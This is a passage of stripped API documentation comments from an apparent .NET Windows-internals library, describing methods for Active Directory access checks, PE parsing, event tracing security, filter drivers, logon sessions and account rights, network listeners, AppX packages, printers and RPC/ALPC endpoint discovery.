schema class. + + + + Create an object type entry for an access check. + + The object type level. + The object type GUID. + An optional name. + The object type entry. + + + + Get the object SID from a directory object. + + The directory entry. + The object SID. Returns null if no object SID exists. + + + + Get the object SID from a directory object. + + The domain name for the object. + The distinguished name of the object. + The object SID. Returns null if no object SID exists. + + + + Get the object SID from a directory object. + + The distinguished name of the object. + The object SID. Returns null if no object SID exists. + + + + Get a directory object. + + The domain name for the object. + The distinguished name of the object. + The object entry. + + + + Get a directory object. + + The distinguished name of the object. + The object entry. + + + + Standardize security descriptor to the rules of Active Directory. + + The security descriptor. + The standardized security descriptor. + + + + Get the value for the dsHeuristics attribute. + + The domain to read the dsHeuristics from. + The dsHeuristics value. + + + + Get the value for the dsHeuristics attribute. + + The dsHeuristics value. + + + + Get the value for an object's sDRightsEffective attribute. + + The domain for the object. + The distinguished name of the object. + The sDRightsEffective value. + + + + Get the value for an object's sDRightsEffective attribute. + + The distinguished name of the object. + The sDRightsEffective value. + + + + Try and find the an object from its SID. + + Specify the domain to search. + The SID to find. + The distinguished name of the object, null if not found. + + + + Try and find the token groups for an object. + + Domain name for the lookup. + The distinguished name to find. + True to return all groups including BUILTIN on the server. False for just universal and global groups. + The list of member SIDs. + + + + Try and find the token groups for an object using the SID. + + Sid to use for the object. + True to return all groups including BUILTIN on the server. False for just universal and global groups. + The list of member SIDs. + + + + Try and find the membership of groups for a name. + + Domain name for the lookup. + The distinguished name to find as member. + The list of groups. + + + + Call to pre-cache the schema for a domain, could take a long time to load. + + The domain to cache. + True if the schema was cached successfully. + + + + Call to pre-cache the schema for the current domain, could take a long time to load. + + True if the schema was cached successfully. + + + + Interface to convert a directory object to a tree for access checking. + + + + + The name of the object. + + + + + The ID of the object. + + + + + Convert the schema class to an object type tree. + + The tree of object types. + + + + DLL characteristic flags. + + + + + Reserved + + + + + Reserved + + + + + Reserved + + + + + Reserved + + + + + Reserved + + + + + Image can handle a high entropy 64-bit virtual address space. + + + + + DLL can be relocated at load time. + + + + + Code Integrity checks are enforced. + + + + + Image is NX compatible. + + + + + Isolation aware, but do not isolate the image. + + + + + Does not use structured exception (SE) handling. No SE handler may be called in this image. + + + + + Do not bind the image. + + + + + Image must execute in an AppContainer. + + + + + A WDM driver. + + + + + Image supports Control Flow Guard. + + + + + Terminal Server aware. + + + + + CodeView debug data for an executable. + + + + + The magic identifier. + + + + + The unique identifier. + + + + + Age of debug information. + + + + + Path to PDB file. + + + + + Identifier path to use when looking up symbol file. + + + + + Get just the name of the PDB file. + + + + + Get the symbol server path. + + The symbol URL, either a local path or a remote URL. + The symbol server path. + + + + Single DLL export entry. + + + + + The name of the export. If an ordinal this is #ORD. + + + + + The ordinal number. + + + + + Address of the exported entry. Can be 0 if a forwarded function. + + + + + Name of the forwarder, if used. + + + + + Get the module this was exported from. + + + + + Overridden ToString method. + + The name of the export. + + + + Single DLL import. + + + + + The name of the DLL importing from. + + + + + List of DLL imported functions. + + + + + List of names imported. + + + + + Could of functions + + + + + True of the imports are delay loaded. + + + + + The path to the executable this import came from. + + + + + Overridden ToString method. + + The DLL name and count. + + + + Single DLL import function. + + + + + The name of the DLL importing from. + + + + + The name of the imported function. If an ordinal this is #ORD. + + + + + Address of the imported function. Can be 0 if not a bound DLL. + + + + + Ordinal of import, if imported by ordinal. -1 if not. + + + + + Overridden ToString method. + + The name of the imported function. + + + + Simple class for an event trace. + + + + + Write an empty event. + + + + + Dispose method. + + + + + Level for trace event. + + + + + Critical level. + + + + + Error level. + + + + + Warning level. + + + + + Information level. + + + + + Verbose level. + + + + + Descriptor for an enabled trace provider. + + + + + Pointer to descriptor data. + + + + + Size of descriptor data. + + + + + Type of descriptor data. + + + + + An Event Trace Log. + + + + + Enable a provider. + + The GUID of the provider. + The level for the events. + Any keywords to match. + All keywords to match. + The timeout. + List of optional descriptors. + True to throw on error. + The resulting status code. + + + + Get allocated session GUID. + + + + + Get name of the session. + + + + + Finalizer. + + + + + Dispose the event trace log. + + + + + Source of an event trace provider. + + + + + Unknown source. + + + + + From WMI. + + + + + From NtTraceControl. + + + + + From the security key. + + + + + Class to represent an Event Trace Provider. + + + + + The ID of the provider. + + + + + The name of the provider. + + + + + Whether the provider is defined as an XML file or a MOF. + + + + + The provider security descriptor (only available as admin). + + + + + Indicates the source of the provider. + + + + + Class to access event tracing methods. + + + + + Query security of an event. + + The event GUID to query. + True to throw on error. + The event security descriptor. + + + + Query security of an event. + + The event GUID to query. + The event security descriptor. + + + + Query the default security for events. + + True to throw on error. + The default security descriptor. + + + + Query the default security for events. + + The default security descriptor. + + + + Modify trace security. + + The event trace GUID. + The operation to perform. + The SID to set. + The access mask to set. + True to allow, false to deny. + True to throw on error. + The NT status code. + + + + Modify trace security. + + The event trace GUID. + The operation to perform. + The SID to set. + The access mask to set. + True to allow, false to deny. + + + + Adds DACL ACE for an event trace. + + The event trace GUID. + The SID to set. + The access mask to set. + True to allow, false to deny. + True to throw on error. + The NT status code. + + + + Adds DACL ACE for an event trace. + + The event trace GUID. + The SID to set. + The access mask to set. + True to allow, false to deny. + + + + Clears DACL and adds ACE for an event trace. + + The event trace GUID. + The SID to set. + The access mask to set. + True to allow, false to deny. + True to throw on error. + The NT status code. + + + + lears DACL and adds ACE for an event trace. + + The event trace GUID. + The SID to set. + The access mask to set. + True to allow, false to deny. + + + + Remove security for an event trace. + + The event trace GUID. + True to throw on error. + The NT status code. + + + + Remove security for an event trace. + + The event trace GUID. + + + + Register an event trace with a specific GUID. + + The event trace GUID. + True to throw on error. + The event trace. + + + + Start an event trace log. + + The path to the log file. + Session GUID. + The name of the logging session. + True to throw on error. + The event trace log. + + + + Start an event trace log. + + The path to the log file. + Session GUID. + The name of the logging session. + The event trace log. + + + + Register an event trace with a specific GUID. + + The event trace GUID. + The event trace. + + + + Get the list of registered trace GUIDs. + + The list of trace GUIDs. + + + + Get the list of registered trace providers. + + Specify true to return a list of cached providers. + The list of trace providers. + + + + Get the list of registered trace providers. + + The list of trace providers. + Returns a cached list of providers, if you want to check the current list use GetProviders(bool). + + + + Get the name of a provider. + + The ID of the provider. + The name of the provider. Returns null if the provider had no name or doesn't exist. + + + + Contains information about a manifest file. + + + + + True if parsing the XML manifest failed. + + + + + Full path to the manifest location. + + + + + The name of the manifest. + + + + + True if the manifest indicates UI access. + + + + + The execution level from the manifest. + + + + + True if the manifest indicates auto elevation. + + + + + The manifest XML. + + + + + True if the manifest indicates long path awareness. + + + + + Get the manifests from a file. + + The file to extract the manifests from. + The list of manifests. + + + + Overridden ToString method. + + The manifest as a string. + + + + A class to represent filter communication port. + + + + + Open a filter communications port. + + The port name, e.g. \FilterName + Make the handle synchronous. + Optional context data. + True to throw on error. + The filter communications port. + + + + Open a filter communications port. + + The port name, e.g. \FilterName + Make the handle synchronous. + Optional context data. + The filter communications port. + + + + Open a filter communications port. + + The port name, e.g. \FilterName + The filter communications port. + + + + Get message from port. + + The maximum message size to receive. + True to throw on error. + The returned message. + + + + Get message from port. + + The maximum message size to receive. + The returned message. + + + + Reply to message. + + The NT status code. + The message ID from GetMessage. + The data to send. + True to throw on error. + The NT status code. + + + + Reply to message. + + The NT status code. + The message ID from GetMessage. + The data to send. + + + + Send a message to the filter. + + The input buffer. + The output buffer. + True to throw on error. + The bytes in the output buffer. + + + + Send a message to the filter. + + The input buffer. + The output buffer. + The bytes in the output buffer. + + + + Send a message to the filter. + + The input buffer. + The maximum size of the output buffer. + true to throw on error. + The output buffer. + + + + Send a message to the filter. + + The input buffer. + The maximum size of the output buffer. + The output buffer. + + + + Class to represent a filter communications port message. + + + + + The message ID. + + + + + The returned data. + + + + + The length of the reply to send. + + + + + Class to represent a filter drive. + + + + + True if a mini-filter, false if a legacy-filter. + + + + + Flags, if any. + + + + + The frame ID. + + + + + Number of instances if a mini-filter. + + + + + Name of the filter driver. + + + + + Altitude of the filter driver. + + + + + Class to represent a mini-filter instance. + + + + + The name of the instance. + + + + + The altitude of the instance. + + + + + The volume name. + + + + + The filter name. + + + + + Filter filesystem type. + + + + + an UNKNOWN file system type + + + + + Microsoft's RAW file system (\FileSystem\RAW) + + + + + Microsoft's NTFS file system (\FileSystem\Ntfs) + + + + + Microsoft's FAT file system (\FileSystem\Fastfat) + + + + + Microsoft's CDFS file system (\FileSystem\Cdfs) + + + + + Microsoft's UDFS file system (\FileSystem\Udfs) + + + + + Microsoft's LanMan Redirector (\FileSystem\MRxSmb) + + + + + Microsoft's WebDav redirector (\FileSystem\MRxDav) + + + + + Microsoft's Terminal Server redirector (\Driver\rdpdr) + + + + + Microsoft's NFS file system (\FileSystem\NfsRdr) + + + + + Microsoft's NetWare redirector (\FileSystem\nwrdr) + + + + + Novell's NetWare redirector + + + + + The BsUDF CD-ROM driver (\FileSystem\BsUDF) + + + + + Microsoft's Mup redirector (\FileSystem\Mup) + + + + + Microsoft's WinFS redirector (\FileSystem\RsFxDrv) + + + + + Roxio's UDF writeable file system (\FileSystem\cdudf_xp) + + + + + Roxio's UDF readable file system (\FileSystem\UdfReadr_xp) + + + + + Roxio's DVD file system (\FileSystem\DVDVRRdr_xp) + + + + + Tacit FileSystem (\Device\TCFSPSE) + + + + + Microsoft's File system recognizer (\FileSystem\Fs_rec) + + + + + Nero's InCD file system (\FileSystem\InCDfs) + + + + + Nero's InCD FAT file system (\FileSystem\InCDFat) + + + + + Microsoft's EXFat FILE SYSTEM (\FileSystem\exfat) + + + + + PolyServ's file system (\FileSystem\psfs) + + + + + IBM General Parallel File System (\FileSystem\gpfs) + + + + + Microsoft's Named Pipe file system(\FileSystem\npfs) + + + + + Microsoft's Mailslot file system (\FileSystem\msfs) + + + + + Microsoft's Cluster Shared Volume file system (\FileSystem\csvfs) + + + + + Microsoft's ReFS file system (\FileSystem\Refs or \FileSystem\Refsv1) + + + + + OpenAFS file system (\Device\AFSRedirector) + + + + + Composite Image file system (\FileSystem\cimfs) + + + + + Methods for accessing Filter Manager information. + + + + + Enumerate the list of filter drivers. + + The list of filter drivers. + + + + Enumerate the list of filter driver instances. + + The name of the filter driver. + The list of filter driver instances. + + + + Enumerate the list of filter driver instances for all filter drivers. + + The list of filter driver instances. + + + + Enumerate the list of filter drivers attached to a volume. + + The name of volume, e.g. C:\ + The list of filter volume instances. + + + + Enumerate the list of filter drivers attached for all volumes. + + The list of filter volume instances. + + + + Enumerate the list of filter volumes. + + The list of filter volumes + + + + Attach a filter to a volume. + + The filter name. + The volume name. + Optional altitude of the filter. + Optional instance name. + True to throw on error. + The created instance name. + + + + Attach a filter to a volume. + + The filter name. + The volume name. + Optional altitude of the filter. + Optional instance name. + The created instance name. + + + + Attach a filter to a volume. + + The filter name. + The volume name. + Optional altitude of the filter. + The created instance name. + + + + Attach a filter to a volume. + + The filter name. + The volume name. + The created instance name. + + + + Attach a filter to a volume. + + The filter name. + The volume name. + Optional instance name. + True to throw on error. + The NT status code. + + + + Attach a filter to a volume. + + The filter name. + The volume name. + Optional instance name. + The NT status code. + + + + Attach a filter to a volume. + + The filter name. + The volume name. + The NT status code. + + + + Class to represent a filter volume. + + + + + Is the filter detached from the volume. + + + + + Filter frame ID. + + + + + Filesystem type. + + + + + Filter volume name. + + + + + Class which represents a section from a loaded PE file. + + + + + The name of the section. + + + + + Buffer to the data. + + + + + Relative Virtual address of the data from the library base. + + + + + Image section characteristics. + + + + + Get the data as an array. + + The data as an array. If can't read the section returns an empty array. + + + + Characteristic flags for image section. + + + + + None. + + + + + Section is code. + + + + + Section is initialized data. + + + + + Section is uninitialized data. + + + + + Section is shared. + + + + + Section is executable. + + + + + Section is readable. + + + + + Section is writable. + + + + + Class to represent a resource in an image. + + + + + The name of the resource. + + + + + The type of the resource. + + + + + The size of the resource. + + + + + Get the resource as a byte array. + + The resource as a byte array. + + + + Image resource type. + + + + + The name of the resource as a string. + + + + + The well known type, is available (otherwise set to UNKNOWN) + + + + + Overridden ToString method. + + The name of the type. + + + + Known image resource types. + + + + + Interface for a symbol resolver. + + + + + Get list of loaded modules. + + The list of loaded modules + Note this will cache the results so subsequent calls won't necessarily see new modules. + + + + Get list of loaded modules and optionally refresh the list. + + True to refresh the current cached list of modules. + The list of loaded modules + + + + Get module at an address. + + The address for the module. + The module, or null if not found. + Note this will cache the results so subsequent calls won't necessarily see new modules. + + + + Get module at an address. + + The address for the module. + True to refresh the current cached list of modules. + The module, or null if not found. + + + + Get a string representation of a relative address to a module. + + The address to get the string for, + The string form of the address, e.g. modulename+0x100 + Note this will cache the results so subsequent calls won't necessarily see new modules. + + + + Get a string representation of a relative address to a module. + + The address to get the string for, + True to refresh the current cached list of modules. + The string form of the address, e.g. modulename+0x100 + + + + Get the address of a symbol. + + The name of the symbol, should include the module name, e.g. modulename!MySymbol. + The address of the symbol + + + + Get the symbol name for an address. + + The address of the symbol. + The symbol name. + + + + Get the symbol name for an address, with no fallback. + + The address of the symbol. + If true then generate a fake symbol. + The symbol name. If |generate_fake_symbol| is true and the symbol doesn't exist one is generated based on module name. + + + + Get the symbol name for an address, with no fallback. + + The address of the symbol. + If true then generate a fake symbol. + If true then return only the name of the symbols (such as C++ symbol name) rather than full symbol. + The symbol name. If |generate_fake_symbol| is true and the symbol doesn't exist one is generated based on module name. + + + + Reload the list of modules for this symbol resolver. + + + + + Load a specific module into the symbol resolver. + + The path to the module. + The base address of the loaded module. + + + + Flags for loading a library. + + + + + None. + + + + + Don't resolve DLL references + + + + + Load library as a data file. + + + + + Load with an altered search path. + + + + + Ignore code authz level. + + + + + Load library as an image resource. + + + + + Load library as a data file exclusively. + + + + + Add the DLL's directory temporarily to the search list. + + + + + Search application directory for the DLL. + + + + + Search the user's directories for the DLL. + + + + + Search system32 for the DLL. + + + + + Search the default directories for the DLL. + + + + + Logon type + + + + + This is used to specify an undefined logon type + + + + + Interactively logged on (locally or remotely) + + + + + Accessing system via network + + + + + Started via a batch queue + + + + + Service started by service controller + + + + + Proxy logon + + + + + Unlock workstation + + + + + Network logon with cleartext credentials + + + + + Clone caller, new default credentials + + + + + Remove interactive. + + + + + Cached Interactive. + + + + + Cached Remote Interactive. + + + + + Cached unlock. + + + + + Specify what account rights to get. + + + + + Get all account rights. + + + + + Get all privilege account rights. + + + + + Get logon account rights. + + + + + Utilities for user logon. + + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + True to throw on error. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + Additional groups to add. Needs SeTcbPrivilege. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + Additional groups to add. Needs SeTcbPrivilege. + True to throw on error. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + Additional groups to add. Needs SeTcbPrivilege. + The logged on token. + + + + Logon user using Kerberos Ticket. + + The type of logon token. + The service ticket. + Optional TGT. + True to throw on error. + The logged on token. + + + + Logon user using Kerberos Ticket. + + The type of logon token. + The service ticket. + Optional TGT. + The logged on token. + + + + Logon user using Kerberos Ticket. + + The type of logon token. + The service ticket. + Optional TGT. + True to throw on error. + The logged on token. + + + + Logon user using Kerberos Ticket. + + The type of logon token. + The service ticket. + Optional TGT. + The logged on token. + + + + Logon user using S4U + + The username. + The user's realm. + The type of logon token. + The name of the auth package to user. + True to throw on error. + The logged on token. + + + + Logon user using S4U + + The username. + The user's realm. + The type of logon token. + The name of the auth package to user. + The logged on token. + + + + Logon user using S4U + + The username. + The user's realm. + The type of logon token. + The logged on token. + + + + Logon user using S4U + + The username. + The user's realm. + The type of logon token. + The logged on token. + + + + Get a logon session. + + The logon session ID. + True to thrown on error. + The logon session. + + + + Get a logon session. + + The logon session ID. + The logon session. + + + + Get the logon session LUIDs + + True throw on error. + The list of logon sessions. Only returns ones you can access. + + + + Get the logon session LUIDs + + The list of logon sessions. Only returns ones you can access. + + + + Get the logon sessions. + + True throw on error. + The list of logon sessions. Only returns ones you can access. + + + + Get the logon sessions. + + The list of logon sessions. + + + + Get account rights assigned to a SID. + + The SID to query. + True to throw on error. + The list of account rights. + + + + Get account rights assigned to a SID. + + The SID to query. + The list of account rights. + + + + Get SIDs associated with an account right. + + The name of the account right, such as SeImpersonatePrivilege. + True to throw on error. + The list of SIDs assigned to the account right. + + + + Get SIDs associated with an account right. + + The name of the account right, such as SeImpersonatePrivilege. + The list of SIDs assigned to the account right. + + + + Get SIDs associated with an account right. + + The account right privilege to query. + True to throw on error. + The list of SIDs assigned to the account right. + + + + Get SIDs associated with an account right. + + The account right privilege to query. + The list of SIDs assigned to the account right. + + + + Get SIDs associated with an account right. + + The logon account right to query. + True to throw on error. + The list of SIDs assigned to the account right. + + + + Get SIDs associated with an account right. + + The logon account right to query. + The list of SIDs assigned to the account right. + + + + Get account rights. + + Specify the type of account rights to get. + Account rights. + + + + Get all account rights. + + All account rights. + + + + Add account rights to the user. + + The user SID to add. + The list of account rights. + True to throw on error. + The NT status code. + + + + Add account rights to the user. + + The user SID to add. + The list of account rights. + The NT status code. + + + + Add account rights as privileges. + + The user SID to add. + The list of account privileges. + True to throw on error. + The NT status code. + + + + Add account rights as privileges. + + The user SID to add. + The list of account privileges. + + + + Add account rights as privileges. + + The user SID to add. + The list of account logon types. + True to throw on error. + The NT status code. + + + + Add account rights as privileges. + + The user SID to add. + The list of account logon types. + + + + Remove account rights from a user. + + The user SID to remove. + The list of account rights. + True to throw on error. + The NT status code. + + + + Remove account rights from a user. + + The user SID to remove. + The list of account rights. + + + + Remove account rights from a user. + + The user SID to remove. + The list of privileges. + True to throw on error. + The NT status code. + + + + Remove account rights from a user. + + The user SID to remove. + The list of account privileges. + + + + Remove account rights from a user. + + The user SID to remove. + The list of account rights. + True to throw on error. + The NT status code. + + + + Remove account rights from a user. + + The user SID to remove. + The list of account rights. + + + + Win32 memory utils. + + + + + Write memory to a process. + + The process to write to. + The base address in the process. + The data to write. + The number of bytes written to the location + Thrown on error. + + + + Write memory to a process. + + The process to write to. + The base address in the process. + The data to write. + The number of bytes written to the location + Thrown on error. + + + + Class to represent a TCP listener with process ID. + + + + Gets the local endpoint of a Transmission Control Protocol (TCP) connection. + An instance that contains the IP address and port on the local computer. + + + Gets the remote endpoint of a Transmission Control Protocol (TCP) connection. + An instance that contains the IP address and port on the remote computer. + + + Gets the state of this Transmission Control Protocol (TCP) connection. + One of the enumeration values. + + + + Get local address. + + + + + Get local port. + + + + + Get remote address. + + + + + Get remote port. + + + + + Gets the process ID of the listener on the local system. + + + + + Gets the time the socket was created. + + + + + Gets the owner of the module. This could be an executable path or a service name. + + + + + Class to represent a UDP listener with process ID. + + + + Gets the local endpoint of a Transmission Control Protocol (TCP) connection. + An instance that contains the IP address and port on the local computer. + + + + Get local address. + + + + + Get local port. + + + + + Gets the process ID of the listener on the local system. + + + + + Gets the time the socket was created. + + + + + Gets the owner of the module. This could be an executable path or a service name. + + + + + Gets if the UDP socket is bound to a specific port. + + + + + Utilities for Win32 network APIs. + + + + + Get a list of TCP listeners with process IDs. + + The address family to query. + True to throw on error. + The list of TCP listeners. + The built-in System.Net.NetworkInformation.SystemIPGlobalProperties.GetActiveTcpListeners doesn't expose the PID member so we have to reimplement it. + + + + Get a list of TCP listeners with process IDs. + + The address family to query. + The list of TCP listeners. + The built-in System.Net.NetworkInformation.SystemIPGlobalProperties.GetActiveTcpListeners doesn't expose the PID member so we have to reimplement it. + + + + Get a list of TCP listeners with process IDs. Returns both IPv4 and IPv6 listeners. + + The list of TCP listeners. + The built-in System.Net.NetworkInformation.SystemIPGlobalProperties.GetActiveTcpListeners doesn't expose the PID member so we have to reimplement it. + + + + Get a TCP listener for a TCP port. + + The address family of the IP address. + The TCP port. + The listener information, or null if not found. + + + + Get a list of UDP listeners with process IDs. + + The address family to query. + True to throw on error. + The list of UDP listeners. + + + + Get a list of UDP listeners with process IDs. + + The address family to query. + The list of UDP listeners. + + + + Get a list of UDP listeners with process IDs. Returns both IPv4 and IPv6 listeners. + + The list of UDP listeners. + + + + APPX Package Architecture. + + + + + X86 + + + + + ARM + + + + + X64 + + + + + Neutral + + + + + ARM64 + + + + + APPX Package Origin. + + + + + Unknown origin. + + + + + Unsigned. + + + + + Inbox. + + + + + Store. + + + + + Developer unsigned. + + + + + Developer signed. + + + + + Line-of-business. + + + + + Class which represents an AppContainer package identity. + + + + + Process architecture. + + + + + Package version. + + + + + Package family name. + + + + + Publisher (not always available). + + + + + Resource ID. + + + + + Published ID. + + + + + Full package name. + + + + + Package origin. + + + + + Package family name. + + + + + Package install path. + + + + + The list of application model IDs. + + + + + Get the GetStagedPackageOrigin method as a delegate. It's supposed to be exposed by kernel32, + but actually doesn't seem to be. + + + + + + Create from a package full name. + + The package full name. + Query for full information (needs to be installed for the current user). + True to throw on error. + The package identity. + + + + Create from a package full name. + + The package full name. + Query for full information (needs to be installed for the current user). + The package identity. + + + + Create from a token. + + The AppContainer token. + Query for full information (needs to be installed for the current user). + True to throw on error. + The package identity. + + + + Create from a token. + + The AppContainer token. + Query for full information (needs to be installed for the current user). + The package identity. + + + + Class to represent a printer object. + + + + + Dispose the printer object. + + + + + Open a printer or server. + + The name of the printer or server. If this is null or empty then it's the local server. + The desired access on the printer. + True to throw on error. + The opened printer. + + + + Open a printer. + + The name of the printer. + The desired access on the printer. + The opened printer. + + + + Open a printer. + + The name of the printer. + The opened printer. + + + + Get security descriptor for the printer. + + True to throw on error. + The printer's security descriptor. + + + + Get security descriptor for the printer. + + The printer's security descriptor. + + + + Access rights for a print spooler object. + + + + + Utils for print spooler. + + + + + Name for the fake printer NT type. + + + + + Name for the fake print server NT type. + + + + + Name for the fake print server NT type. + + + + + Get the generic mapping for printer objects. + + The printer objects generic mapping. + + + + Get the generic mapping for job objects. + + The job objects generic mapping. + + + + Get the generic mapping for server objects. + + The server objects generic mapping. + + + + Get the appropriate NT type for the printer path. + + The printer path, e.g. \\server\printer. + The NT type. + + + + Class representing an RPC ALPC server. + + + + + The PID of the process which contains the ALPC server. + + + + + The name of the process which contains the ALPC server. + + + + + List of known endpoints potentially accessible via this RPC server. + + + + + The number of endpoints. + + + + + The name of the ALPC server. + + + + + The security descriptor of the ALPC server. + + + + + Get RPC ALPC servers for a specific process. + + The ID of the process. + The list of RPC ALPC servers. + If the process is suspended or frozen this call can hang. + + + + Get a list of all RPC ALPC servers. + + This works by discovering any server ALPC ports owned by the process and querying for interfaces. + This will ignore any frozen processes (primarily UWP) as they can't respond to the endpoint enumeration. + The list of RPC ALPC servers. + + + + Get the RPC ALPC server for an ALPC port object path. + + The object manager path to the ALPC port. + The ALPC RPC server. + Needs an API which is only available from Windows 10 19H1. + + + + Overridden ToString method. + + Formatted string. + + + + Generic RPC client. + + + + + Constructor. + + The interface ID. + Version of the interface. + + + + Constructor. + + The RPC server to bind to. + + + + Send and receive an RPC message. + + The procedure number. + Marshal NDR buffer for the call. + Unmarshal NDR buffer for the result. + + + + Class to represent an RPC endpoint. + + + + + The interface ID of the endpoint. + + + + + The interface version. + + + + + The object UUID. + + + + + Optional annotation. + + + + + RPC binding string. + + + + + Endpoint protocol sequence. + + + + + Endpoint network address. + + + + + Endpoint name. + + + + + Endpoint network options. + + + + + The endpoint path. + + + + + Indicates this endpoint is registered with the endpoint mapper. + + + + + Overridden ToString method. + + String form of the object. + + + + Get information about the server process. + + + + + + Static class to access information from the RPC mapper. + + + + + Query all endpoints registered on the local system. + + List of endpoints. + + + + Query all endpoints registered based on a binding string. + + The binding string for the server to search on. If null or empty will search localhost. + List of endpoints. + + + + Query for endpoints registered on the local system for an RPC endpoint. + + The binding string for the server to search on. If null or empty will search localhost. + Interface UUID to lookup. + Interface version lookup. + The list of registered RPC endpoints. + + + + Query for endpoints registered on the local system for an RPC endpoint. + + Interface UUID to lookup. + Interface version lookup. + The list of registered RPC endpoints. + + + + Query for endpoints registered on the local system for an RPC endpoint ignoring the version. + + The binding string for the server to search on. If null or empty will search localhost. + Interface UUID to lookup. + The list of registered RPC endpoints. + + + + Query for endpoints registered on the local system for an RPC endpoint ignoring the version. + + Interface UUID to lookup. + The list of registered RPC endpoints. + + + + Query for endpoints registered on the local system for an RPC endpoint. + + The server interface. + The list of registered RPC endpoints. + + + + Query for endpoints registered on the local system for an RPC endpoint via ALPC. + + Interface UUID to lookup. + Interface version lookup. + The list of registered RPC endpoints. + + + + Query for endpoints registered on the local system for an RPC endpoint via ALPC. + + The server interface. + The list of registered RPC endpoints. + + + + Query for endpoints for a RPC binding. + + The ALPC port to query. Can be a full path as long as it contains \RPC Control\ somewhere. + True to throw on error. + The list of endpoints on the RPC binding. + + + + Query for endpoints for a RPC binding. + + The ALPC port to query. Can be a full path as long as it contains \RPC Control\ somewhere. + The list of endpoints on the RPC binding. + + + + Query for endpoints for a RPC binding. + + The RPC binding to query, e.g. ncalrpc:[PORT] + True to throw on error. + The list of endpoints on the RPC binding. + + + + Query for endpoints for a RPC binding. + + The RPC binding to query, e.g. ncalrpc:[PORT] + The list of endpoints on the RPC binding. + + + + Resolve the local binding string for this service from the local Endpoint Mapper and return the endpoint. + + The protocol sequence to lookup. + Interface UUID to lookup. + Interface version lookup. + The mapped endpoint. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + + + + Resolve the local binding string for this service from the local Endpoint Mapper and return the endpoint. + + The protocol sequence to lookup. + The network address for the lookup. + Interface UUID to lookup. + Interface version lookup. + The mapped endpoint. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + + + + Resolve the local binding string for this service from the local Endpoint Mapper and return the endpoint. + + The string binding to map. + Interface UUID to lookup. + Interface version lookup. + The mapped endpoint. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + + + + Resolve the local binding string for this service from the local Endpoint Mapper and return the ALPC port path. + + Interface UUID to lookup. + Interface version lookup. + The mapped endpoint. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + + + + Resolve the local binding string for this service from the local Endpoint Mapper and return the ALPC port path. + + The server interface. + The mapped endpoint. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + + + + Finds ALPC endpoints which allows for the server binding. This brute forces all ALPC ports to try and find + something which will accept the bind. + + This could hang if the ALPC port is owned by a suspended process. + Interface UUID to lookup. + Interface version lookup. + A list of RPC endpoints which can bind the interface. + Throws on error. + + + + Finds an ALPC endpoint which allows for the server binding. This brute forces all ALPC ports to try and find + something which will accept the bind. + + This could hang if the ALPC port is owned by a suspended process. + Interface UUID to lookup. + Interface version lookup. + The first RPC endpoints which can bind the interface. Throws exception if nothing found. + Throws on error. + + + + Resolve the binding string for this service from the Endpoint Mapper. + + The binding string to map. + Interface UUID to lookup. + Interface version lookup. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + The RPC binding string. Empty string if it doesn't exist or the lookup failed. + + + + Resolve the binding string for this service from the the Endpoint Mapper. + + The protocol sequence to lookup. + The network address to lookup the endpoint. + Interface UUID to lookup. + Interface version lookup. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + The RPC binding string. Empty string if it doesn't exist or the lookup failed. + + + + Resolve the binding string for this service from the local Endpoint Mapper. + + The protocol sequence to lookup. + Interface UUID to lookup. + Interface version lookup. + This only will return a valid value if the service is running and registered with the Endpoint Mapper. It can also hang. + The RPC binding string. Empty string if it doesn't exist or the lookup failed. + + + + A class to represent an RPC server. + + + + + Resolve the current running endpoint for this server. + + + + + + Format the RPC server as text. + + The formatted RPC server. + + + + Format the RPC server as text. + + True to remove comments from the output. + The formatted RPC server. + + + + Format the RPC server as text. + + True to remove comments from the output. + Formating using C++ pseduo syntax. + The formatted RPC server. + + + + Serialize the RPC server to a stream. + + The stream to hold the serialized server. + Only use the output of this method with the Deserialize method. No guarantees of compatibility is made between + versions of the library or the specific format used. + + + + Serialize the RPC server to a byte array. + + The serialized data. + Only use the output of this method with the Deserialize method. No guarantees of compatibility is made between + versions of the library or the specific format used. + + + + The RPC server interface UUID. + + + + + The RPC server interface version. + + + + + The RPC transfer syntax GUID. + + + + + The RPC transfer syntax version. + + + + + The number of RPC procedures. + + + + + The list of RPC procedures. + + + + + The NDR RPC server. + + + + + List of parsed complext types. + + + + + Path to the PE file this server came from (if known) + + + + + Name of the the PE file this server came from (if known) + + + + + Offset into the PE file this server was parsed from. + + + + + Name of the service this server would run in (if known). + + + + + Display name of the service this server would run in (if known). + + + + + True if the service is currently running. + + + + + List of endpoints for this service if running. + + + + + Count of endpoints for this service if running. + + + + + This parsed interface represents a client. + + + + + Parse all RPC servers from a PE file. + + The PE file to parse. + Path to a DBGHELP DLL to resolve symbols. + Symbol path for DBGHELP + This only works for PE files with the same bitness as the current process. + A list of parsed RPC server. + + + + Parse all RPC servers from a PE file. + + The PE file to parse. + Path to a DBGHELP DLL to resolve symbols. + Symbol path for DBGHELP + True to parse client RPC interfaces. + This only works for PE files with the same bitness as the current process. + A list of parsed RPC server. + + + + Parse all RPC servers from a PE file. + + The PE file to parse. + Path to a DBGHELP DLL to resolve symbols. + Symbol path for DBGHELP + True to parse client RPC interfaces. + Ignore symbol resolving. + This only works for PE files with the same bitness as the current process. + A list of parsed RPC server. + + + + Parse all RPC servers from a PE file. + + The PE file to parse. + Path to a DBGHELP DLL to resolve symbols. + Symbol path for DBGHELP + Flags for the RPC parser. + This only works for PE files with the same bitness as the current process. + A list of parsed RPC server. + + + + Deserialize an RPC server instance from a stream. + + The stream to deserialize from. + The RPC server instance. + The data used by this method should only use the output from serialize. No guarantees of compatibility is made between + versions of 